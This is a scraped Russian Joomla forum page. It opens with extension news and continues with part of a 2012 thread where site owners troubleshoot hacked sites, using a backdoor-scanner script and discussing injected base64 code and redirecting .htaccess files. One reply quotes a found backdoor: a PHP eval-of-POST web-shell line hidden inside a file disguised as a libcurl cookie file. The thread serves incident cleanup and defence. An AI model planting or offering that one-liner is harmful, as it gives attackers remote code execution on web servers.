Новости Joomla

Вышел компонент интернет-магазина HikaShop 6.1.0.Один из известных компонентов магазина для Joomla

Вышел компонент интернет-магазина HikaShop 6.1.0.Один из известных компонентов магазина для Joomla

👩‍💻 Вышел компонент интернет-магазина HikaShop 6.1.0.Один из известных компонентов магазина для Joomla.v.6.1.0 Что нового?Модуль корзины. Отображение корзины в виде offcanvas-элемента.Кнопка выхода в панели управления пользователя. Что тут сказать, просто добавили. Отправка писем только для заказов, оплаченных определёнными способами. Это удобно для рассылки сообщений, привязанных к региону или провайдеру (например, инструкции по банковскому переводу только для заказов, оплаченных банковским переводом).Листинг выплат по партнерской системе. В разделе управления партнёрскими программами появилось новое подменю «Выплаты», в котором перечислены выплаты партнёрам (упрощённое отслеживание и сверка). Добавлены настройки, благодаря которым можно определить категории товаров, на которые начисляется партнёрская комиссия с продаж.Список комплектов товаров. Система комплектов позволяет отслеживать остатки товаров, продаваемых в комплекте.Подробнее в блоге Hikashop.Поскольку мы не сообщали ранее о Hikashop 6.0, то вкратце скажем, что он вышел в июне 2025г. В новой версии было:- 13 исправлений ошибок- 17 улучшений. В частности:- - Hikashop теперь проверяет UserAgent пользователя перед добавлением товара в корзину, чтобы отсечь ботов. Ведь компонент хранит корзины в базе данных.- - улучшен роутинг компонента, позволяющий использовать в названии товара даже слеши.- - улучшения фильтра товаров - ускорение загрузки категорий/брендов/характеристик.- 4 новых функции:- - добавлена поддержка Joomla 6.0.- - Улучшена возможность адаптации форм HikaShop на фронтенде к шаблонам, не использующим стандартные классы Joomla.- - Плагин внутреннего баланса: возможность исключить уцененные товары из начисленных баллов.- - Теперь можно выбирать склады для вариантов товаров.Подробнее в Changelog Hikashop.Также при работе с Hikashop стоит учитывать, что один и тот же код поддерживает версии Joomla от 3.х до 5.х, а в таблице сравнения версий заявлена и Joomla 2.5. Беглый просмотр кода показал, что компонент как был, так и остался старым и для совместимости с Joomla 4+ просто добавлен плагин.@joomlafeed#joomla #расширения #hikashop

На сколько актуально делать сайт в 2025 году? Битва с нейросетями и выбор CMSНовый выпуск подкаста...

На сколько актуально делать сайт в 2025 году? Битва с нейросетями и выбор CMSНовый выпуск подкаста...

На сколько актуально делать сайт в 2025 году? Битва с нейросетями и выбор CMSНовый выпуск подкаста "Просто о Digital"Гость:🎙 Владимир Сергеенко ( https://t.me/aixman ) • Интернет-маркетолог с 14-летним опытом• Соавтор книги «Нетворкинг»• Спикер конференции Ассоциации директоров по развитиюВедущий:💻 Игорь Филипенко ( https://t.me/igorleee )• Программист и предприниматель с 16-летним опытом в digital• Основатель подкаста "Просто о Digital"• Специалист по автоматизации бизнес-процессовВ этом выпуске вы узнаете:🔥 Актуальность сайтов в эпоху нейросетей• Актуален ли сайт сейчас и будет ли актуален в будущем?• Зачем нужен сайт? Есть ли иные инструменты привлечения клиентов?🤖 Нейросети vs Поисковики vs Сайты• Почему нейросети не заменят сайты в B2B-сегменте• Как Google и Яндекс меняют алгоритмы из-за AI-конкуренции📊 Сайт как центр вселенной вашего трафика• Почему без сайта вы сливаете 40% маркетингового бюджета впустую?🛡 Безопасность и Joomla 6.0• Как отфильтровать 99% ботов и сэкономить на трафике• Почему Joomla теперь обходит WordPress в безопасности и скорости⚖️ Выбор платформы: битва CMS• WordPress: 50% рынка но 80% уязвимостей• Joomla: профессиональная CMS для сложных проектов• Drupal: почему его похоронили в 2023 году• Tilda: когда конструктор выгоднее CMSПриятного просмотра/прослушивания!RSS: https://cloud.mave.digital/61930Mave: https://igorfilipenko.mave.digitalЯндекс Музыка: https://music.yandex.ru/album/35840190Telegram Mave: https://t.me/mavestreambot/app?startapp=igorfilipenkoApple Podcasts: https://podcasts.apple.com/us/podcast/просто-о-digital-и-бизнесе/id1801903450ВКонтакте: https://vk.com/podcasts-12488584Youtube: https://www.youtube.com/playlist?list=PLfR6jTpnkohDDco32xZ-KyMyWi_S5Xdy2=========================Видео-формат подкаста:Rutube: https://rutube.ru/video/b5762754f9d3e0dc382f32f3034be0a2/Youtube: https://youtu.be/nu1XF2jNbxY#подкаст #podcast

Для заказа и скачивания доступна новая версия компонента «J SMS Registration».Номер новой версии: 2

1 2 3 4 5 6 ... 10   Вниз
0 Пользователей и 1 Гость просматривают эту тему.
  • 299 Ответов
  • 185258 Просмотров
*

wishlight

  • Гуру
  • 5059
  • 315 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #90 : 14.07.2012, 18:46:04 »
Это был бот и он еще вернется возможно.
Записан
*

rabamaster

  • Осваиваюсь на форуме
  • 43
  • 1 / 0
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #91 : 14.07.2012, 19:37:46 »
Спасибо, успокоил... Как найти где он сидит, у меня ли проблема? Может у других или у хостера. Последнее время хостер как-то нестабильно работает, такое впечатление, что его досят. Они приняли меры от брута (после смены пароля сам попадал в бан). Просмотр логов хостера ничего не дал.
Кроме того, что кто-то заходил 06.07.12 в мою админку (я тогда был на дне рождения и на клавишу бы не попал) и появился файл от 06.07.12 (index.phph, который заменил мой index.php).
Вроде все просто - утечка пароля, но неужели на одном IP хостера у 260 сайтов произошла утечка?

Юзал описанный здесь скрипт, но никакой файл и код, внутри предложенных скриптом файлах, у меня подозрения не вызвал, может потому, что я - баран. Не знаю, но боюсь нового взлома, чувствую себя портовой девицей, непонятно кого отмотросили, но болею я.
Записан
*

wishlight

  • Гуру
  • 5059
  • 315 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #92 : 14.07.2012, 20:09:21 »
может у хостера увели. Такое бывало.
Записан
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #93 : 14.07.2012, 23:06:28 »
Цитата: Krec от 14.07.2012, 17:47:22
Мне кажется есть серьезная бага на движке... По этому хотел узнать как можно понять что за уязвимость?
Почитай про протокол TCP/IP ,и узнаешь как передаются пакеты с не зашифрованными данными.
Записан
*

Свят

  • Осваиваюсь на форуме
  • 44
  • 1 / 0
  • Не прыгаю за бабочками, они сами липнут ко мне...
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #94 : 14.08.2012, 21:00:25 »
на заметку тем, у кого на сайтах обнаружился вирус:
  • fls.php не очень помог, определил только файл readme в корне сайта как подозрительный, в нотпаде он не открылся, поэтому я просто напросто его удалил.
  • после полтора часов поиска, заглянул в index.php, тот что именно в корне лежит, а не шаблонный индекс, и вот там - как раз первой строчкой и оказалась зашифрованная бяка
Проблему с сайтом обнаружил лишь на второй день после заражения, когда в статистике увидел посещение сайта в день 50 уников, вместо около 500-от. Как оказалось с поисковых систем кидало на другой сайт.
Сайт на который кидало -
Спойлер
[свернуть]

Мож кому-то и понадобится моя писанина=) как заразился пока неочень понятно...
« Последнее редактирование: 14.08.2012, 21:03:42 от Свят »
Записан
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #95 : 15.08.2012, 09:18:15 »
Цитата: one_more от 14.07.2012, 09:02:13

Судя по многим признакам, теперь уже ломают чаще не турки, а русскоязычные, и похоже, что даже со специализацией именно по Joomla! При этом совсем не школоло. Т.е. те, кто с немалой вероятностью заглядывают и в этот самый форум. Поэтому выкладывать сюда все мелкие хитрости противодействия хаку может быть не всегда разумно.
Ну насколько я понял,то присутствуют форумчане,которые заливают бекдор нехорошим заказчикам? http://joomlaforum.ru/index.php/topic,93126.0.html
Записан
*

Айболит

  • Новичок
  • 4
  • 0 / 0
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #96 : 22.08.2012, 22:30:06 »
Здравствуйте

Проблема, взломали сайты.
Несколько сайтов, лежат на разных хостингах, все на Joomla.

Через некоторые промежутки времени, появляется новый файл htaccess, делающий редирект.
Редирект происходит для мобильных браузеров и устройств андроид.
Конечный сайт предлогает обновить браузер.

На нескольких сайтах в файле index.php было добавлено сверху несколько вредоносных строк, но проблема оказалась не в них (понял это, когда удалил их, но проблема осталась)

Один из сайтов вообще касперским стал запрещаться, в подозрительные ссылки попал сам сайт и его фавикон(((

С других происходила загрузка каких-то файлов, запрещаемых касперским

Воспользовался предоставленной утилитой, нашел почти 100 файлов.
Удалил все, что хранилось в tmp, файлы, к радости, скачиваться перестали)))
Удалил ненужные htaccess

Подскажите, в чем может быть проблема, ведь сайты на разных хостингах, а проблема на всех сайтах разом(((
ФТП клиент filezilla. Левые письма через задать вопрос по товару тоже приходили.

В чем же может быть проблема?

В гоолову пришло решение:

1.Старые бекапы, лежаще на компе обновить до последней joomlы
2.Удалить существующие сайты
3.Заново все залить с компа, поменять все пароли

Поможет?
Записан
*

WebDisaster

  • Захожу иногда
  • 108
  • 12 / 0
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #97 : 23.08.2012, 05:54:11 »
Цитата: Айболит от 22.08.2012, 22:30:06
В чем же может быть проблема?
Читайте логи.
Записан
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #98 : 23.08.2012, 09:37:38 »
2Айболит
что за сайты вы хоть ссылки киньте и подробней какие движки и расширения стоят
Цитировать
Поможет?
чем?
ответить на ваши вопросы?
Записан
*

Айболит

  • Новичок
  • 4
  • 0 / 0
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #99 : 23.08.2012, 12:34:22 »
Сайт - tutotvet.com

joomla 1.5.21

VirtueMart 1.1.5 stable

CSVimproved

JCE

JoomlaWatch

Яндекс Карты

Результат скрипта после очистки tmp
Спойлер
[свернуть]


Файл htaccess, который постоянно появляется, ссылки правда внизу иногда различаются

Спойлер
[свернуть]

Касперский ругается на следующие файлы:

http://tutotvet.com/administrator/templates/system/css/system.css
Спойлер
[свернуть]

http://tutotvet.com/administrator/templates/khepri/css/rounded.css
Спойлер
[свернуть]

http://tutotvet.com/administrator/templates/khepri/css/login.css
Спойлер
[свернуть]

http://tutotvet.com/media/system/js/mootools.js
Спойлер
[свернуть]
« Последнее редактирование: 23.08.2012, 12:49:45 от Айболит »
Записан
*

Айболит

  • Новичок
  • 4
  • 0 / 0
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #100 : 23.08.2012, 13:39:27 »
flyingspook, Конечно, буду очень рад получить помощь пофессионала!
Сайты на двух хостах

Godaddy.com
reg.ru
Все болеют

Как мне с Вами связаться? в личку я почему-то писать сообщения не могу

Имеет ли смысл обновить Joomla с виртом сейчас, или сначала избавиться от уязвимостей?
Записан
*

Айболит

  • Новичок
  • 4
  • 0 / 0
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #101 : 23.08.2012, 14:20:34 »
Сайт начинает ужасно работать.

Показываются не все картинки в админке, также, в админке не работает верхнее меню, работает только в хроме.

joomlawatch не загружает статистику и посетителей, зато касперский находит кучу вредоносных ссылок, вирт стал без картинок
 ! !
Записан
*

alex-143390

  • Захожу иногда
  • 92
  • 0 / 0
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #102 : 06.09.2012, 19:22:36 »
Подскажите в чем именно смотреть?

Спойлер
[свернуть]
Записан
*

alex-143390

  • Захожу иногда
  • 92
  • 0 / 0
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #103 : 08.09.2012, 17:00:46 »
Нужна помощь!
Если захожу на сайт с телефона или планшета происходит перенаправление на порно сайт с вирусами!
Записан
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #104 : 08.09.2012, 18:02:29 »
Цитата: alex-143390 от 08.09.2012, 17:00:46
Нужна помощь!
Если захожу на сайт с телефона или планшета происходит перенаправление на порно сайт с вирусами!
Замени .htaccess на стандартный,или очисти старый
Записан
*

alex-143390

  • Захожу иногда
  • 92
  • 0 / 0
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #105 : 08.09.2012, 19:17:33 »
Цитата: draff от 08.09.2012, 18:02:29
Замени .htaccess на стандартный,или очисти старый
Очистил-ничего! Так же остался в конце исходного кода ссылка на вирус.
Записан
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #106 : 08.09.2012, 19:29:04 »
Цитата: alex-143390 от 08.09.2012, 19:17:33
Очистил-ничего! Так же остался в конце исходного кода ссылка на вирус.
base64_decode есть в index.php шаблона ?
Записан
*

andrey77777

  • Захожу иногда
  • 83
  • 1 / 1
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #107 : 22.09.2012, 14:49:03 »
Здравствуйте! на сайте постоянно появляются трояны - создал тему (кому интересно) http://joomlaforum.ru/index.php/topic,229119.msg1198933.html#msg1198933 , но пошел дальше и понял, что лучше спросить здесь, поскольку чувствую они опять будут появляться. Хотелось бы найти дыру

Использовал скрипт
Спойлер
[свернуть]

Но не могу его понять - как по мне все нормально. Потом использовал скрипт ai-bolit. http://www.timmisworld.ru/ai-bolit.php?p=77777

Он выдал закодированный код 64 .его я удалил - но к сожалению, знаний не хватает и не знаю как залатать дыры и что делать :( . Пожалуйста растолкуйте эти 2 скрипта
Записан
*

andrey77777

  • Захожу иногда
  • 83
  • 1 / 1
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #108 : 24.09.2012, 20:22:31 »
Неужели ни кто не может растолковать? :(  ребята ау....
Записан
*

Apple_Buy

  • Захожу иногда
  • 71
  • 1 / 0
  • Истина всегда рядом....
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #109 : 25.09.2012, 03:12:32 »
Цитата: andrey77777 от 24.09.2012, 20:22:31
Неужели ни кто не может растолковать? :(  ребята ау....

Вы же сами писали что у вас Joomla 1.5.23, первое что следует сделать - это обновиться до последней версии, так как вполне могут использовать дыры движка для доступа к сайту.
Записан
*

dimon888951

  • Захожу иногда
  • 115
  • 24 / 3
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #110 : 25.09.2012, 05:55:54 »
просканировал сайт на денвере, вот результат,это плохо?
Спойлер
[свернуть]
Записан
*

andrey77777

  • Захожу иногда
  • 83
  • 1 / 1
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #111 : 25.09.2012, 13:32:07 »
Цитата: Apple_Buy от 25.09.2012, 03:12:32
Вы же сами писали что у вас Joomla 1.5.23, первое что следует сделать - это обновиться до последней версии, так как вполне могут использовать дыры движка для доступа к сайту.
Это  я понимаю ..... мне интересуют скрипты - потому что грамотно их растолковать не могу
Записан
*

nemius

  • Осваиваюсь на форуме
  • 39
  • 0 / 0
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #112 : 08.10.2012, 01:03:52 »

Notice: Undefined variable: E in /home/ID/site.ru/docs/fls.php(2) : eval()'d code on line 132

Fatal error: Call to undefined function hash_file() in /home/id/site.ru/docs/fls.php(2) : eval()'d code on line 40

Что можно понять из вше написаного ?
Записан
*

andrey77777

  • Захожу иногда
  • 83
  • 1 / 1
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #113 : 08.10.2012, 01:10:44 »
Цитата: nemius от 08.10.2012, 01:03:52
Notice: Undefined variable: E in /home/ID/site.ru/docs/fls.php(2) : eval()'d code on line 132

Fatal error: Call to undefined function hash_file() in /home/id/site.ru/docs/fls.php(2) : eval()'d code on line 40

Что можно понять из вше написаного ?

Если Вы у меня спрашиваете - то без понятия....показывает ошибку.... Кстати это к моему сайту или это Ваш?
Записан
*

nemius

  • Осваиваюсь на форуме
  • 39
  • 0 / 0
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #114 : 08.10.2012, 01:58:19 »
я у себя на сайте запустил /fls.php  и получил две строки которые привел выше. Я из этих строк ничерта не понял !
/site.ru/docs/fls.php(2) : eval()'d code on line 40
на моем сайте в указаной скриптом папке (site.ru/docs/fls.php  нет и никогда не было файла  fls.php так что в каком файле в 40 строке искать код не понятно
/site.ru/docs/fls.php(2) : eval()'d code on line 132
так же и тут  !
« Последнее редактирование: 08.10.2012, 02:02:25 от nemius »
Записан
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #115 : 08.10.2012, 11:19:36 »
2nemius
так понимаю вы не на хосте сканируете?
Записан
*

nemius

  • Осваиваюсь на форуме
  • 39
  • 0 / 0
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #116 : 08.10.2012, 19:02:26 »
Цитата: flyingspook от 08.10.2012, 11:19:36
2nemius
так понимаю вы не на хосте сканируете?
Именно что на хосте, закинул скрипт в корень хоста и выполнил запрос...
На локале понятное дело стоит апач но он выключен

upd.... закинул скриптик на другой сайт, одна строка:
Fatal error: Call to undefined function hash_file() in /home/папкахостера/syte.ru/docs/fls.php(2) : eval()'d code on line 40

 :o
« Последнее редактирование: 08.10.2012, 22:42:35 от nemius »
Записан
*

udzin

  • Осваиваюсь на форуме
  • 16
  • 0 / 0
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #117 : 13.10.2012, 17:52:06 »
нашел у себя php файл

Код
# Netscape HTTP Cookie File
# http://www.netscape.com/newsref/std/cookie_spec.html
# This file was generated by libcurl! Edit at your own risk.

195.230.125.75	FALSE	/about/	FALSE	0	<?eval(stripslashes(array_pop($_POST)))?>	1

сканнер его не видит
Записан
*

wishlight

  • Гуру
  • 5059
  • 315 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #118 : 13.10.2012, 17:56:34 »
Edit at your own risk. Хехе и не увидит. Файл явно не хороший. http://joomlaforum.ru/index.php/topic,195980.msg1105287.html#msg1105287

Спойлер
[свернуть]
Записан
*

udzin

  • Осваиваюсь на форуме
  • 16
  • 0 / 0
Re: Сканируем сайты! Сканер сайита или Shell and Backdoor Script Finder
« Ответ #119 : 14.10.2012, 09:02:38 »
o! wishlight!
даже и не ожидал что кто-то поможет найти уязвимость. просто скинул сообщение чтоб обновили сканнер.

проблема похоже действительно с компонентами nonumber

жму руку!
Записан
1 2 3 4 5 6 ... 10   Вверх
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

При открытии сайта с режима инкогнито перекидывает на вирусный сайт

Автор 62411

 Ответов: 6
Просмотров: 2531 		Последний ответ 31.03.2024, 16:14:32
от SeBun
Компоненты и скрипты для защиты сайта. Логи атак на сайты

Автор wishlight

 Ответов: 678
Просмотров: 261790 		Последний ответ 14.09.2022, 14:29:43
от wishlight
Способы защиты сайта от DDoS атак?

Автор IgorMJ

 Ответов: 7
Просмотров: 2306 		Последний ответ 05.10.2021, 21:39:26
от ShopES
Тестирую сайты на уязвимости

Автор SalityGEN

 Ответов: 0
Просмотров: 849 		Последний ответ 21.08.2021, 23:01:01
от SalityGEN
Новый набег ботов в регистрации сайта... Какой в этом смысл то?

Автор Cedars

 Ответов: 11
Просмотров: 2005 		Последний ответ 03.11.2020, 17:36:03
от Cedars